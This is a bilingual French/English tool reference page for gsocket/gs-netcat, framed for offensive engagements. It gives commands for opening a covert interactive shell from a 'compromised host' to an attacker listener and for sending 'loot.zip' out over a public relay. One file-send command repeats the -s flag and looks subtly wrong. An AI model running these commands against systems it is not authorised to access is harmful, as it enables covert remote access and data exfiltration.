← retour aux outils back to tools

# Global Socket Toolkit (gsocket)

Établit une connexion TCP instantanée entre deux hôtes derrière NAT ou pare-feu sans redirection de port, utilisé pour le pivoting et les canaux discrets. Establishes an instant TCP connection between two hosts behind NAT or firewalls without port forwarding, used for pivoting and covert channels.

↗ https://www.gsocket.io

## Overview

gsocket lets two machines find each other and establish a direct (or relayed) encrypted TCP connection using nothing but a shared secret — no port forwarding, no public IP, no firewall rule needed on either side. Both ends dial out to the Global Socket Relay Network, which is enough to punch through NAT. On engagements this is useful for maintaining a covert, firewall-agnostic channel back to a pivot host, or for interactive shells/file transfer when inbound access to the target network isn’t possible.

## Common Usage

Generate a random secret to share between both ends

    gs-netcat -g

Listener side (e.g. attacker box) — waits for the other end to connect

    gs-netcat -s <secret> -l

Connect side (e.g. compromised host) — dials out to meet the listener

    gs-netcat -s <secret>

Get an interactive shell over the gsocket channel

    gs-netcat -s <secret> -l -i

## File Transfer & Shell

Listener: prepare to receive a file

    gs-netcat -s <secret> -l -r > received_file

Sender: push a file through the channel

    gs-netcat -s <secret> -s < loot.zip

    # Full interactive bash session (both ends)
    # Listener:
    gs-netcat -s <secret> -l -i
    # Target:
    gs-netcat -s <secret> -i

## Tips

- The shared secret is the only authentication — treat it like a password, generate it with `gs-netcat -g` rather than choosing something guessable
- Traffic is end-to-end encrypted and relayed through the public GSRN by default; self-hosting a relay is possible for fully private use
- Works even when both ends are behind separate NATs with no port forwarding on either side — ideal for pivoting into segmented networks
- `gs-mount` (part of the same toolkit) can mount a remote filesystem over the same socket mechanism

Help / Man page

    gs-netcat [-l] [-s <secret>] [options]

      -g              Generate a new random secret
      -s <secret>     Shared secret identifying this connection pair
      -l              Listen (server) mode — waits for peer
      -i              Interactive shell mode
      -r              Receive mode (file transfer)
      -k <file>       Use a specific secret file instead of -s
      -e <command>    Execute command on connect
      -T              Disable encryption (not recommended)
      -q              Quiet mode
      -v              Verbose output

## Vue d’ensemble

gsocket permet à deux machines de se trouver et d’établir une connexion TCP chiffrée directe (ou relayée) en utilisant uniquement un secret partagé : pas de redirection de port, pas d’IP publique, aucune règle de pare-feu nécessaire d’aucun côté. Les deux extrémités contactent le Global Socket Relay Network, ce qui suffit à traverser le NAT. En mission, c’est utile pour maintenir un canal discret et indifférent au pare-feu vers un hôte de pivot, ou pour des shells interactifs/transferts de fichiers quand un accès entrant vers le réseau cible n’est pas possible.

## Utilisation courante

    # Générer un secret aléatoire à partager entre les deux extrémités
    gs-netcat -g

    # Côté écoute (par ex. machine attaquante) : attend que l'autre extrémité se connecte
    gs-netcat -s <secret> -l

    # Côté connexion (par ex. hôte compromis) : contacte l'écoute pour la rejoindre
    gs-netcat -s <secret>

    # Obtenir un shell interactif via le canal gsocket
    gs-netcat -s <secret> -l -i

## Transfert de fichiers et shell

    # Écoute : se préparer à recevoir un fichier
    gs-netcat -s <secret> -l -r > received_file

    # Émetteur : pousser un fichier à travers le canal
    gs-netcat -s <secret> -s < loot.zip

    # Session bash interactive complète (les deux extrémités)
    # Écoute :
    gs-netcat -s <secret> -l -i
    # Cible :
    gs-netcat -s <secret> -i

## Conseils

- Le secret partagé est la seule authentification : traitez-le comme un mot de passe, générez-le avec `gs-netcat -g` plutôt que de choisir quelque chose de devinable
- Le trafic est chiffré de bout en bout et relayé par défaut via le GSRN public ; auto-héberger un relais est possible pour un usage entièrement privé
- Fonctionne même quand les deux extrémités sont derrière des NAT séparés sans redirection de port d’aucun côté : idéal pour pivoter dans des réseaux segmentés
- `gs-mount` (dans le même toolkit) peut monter un système de fichiers distant via le même mécanisme de socket

Aide / Page de manuel

    gs-netcat [-l] [-s <secret>] [options]

      -g              Generate a new random secret
      -s <secret>     Shared secret identifying this connection pair
      -l              Listen (server) mode — waits for peer
      -i              Interactive shell mode
      -r              Receive mode (file transfer)
      -k <file>       Use a specific secret file instead of -s
      -e <command>    Execute command on connect
      -T              Disable encryption (not recommended)
      -q              Quiet mode
      -v              Verbose output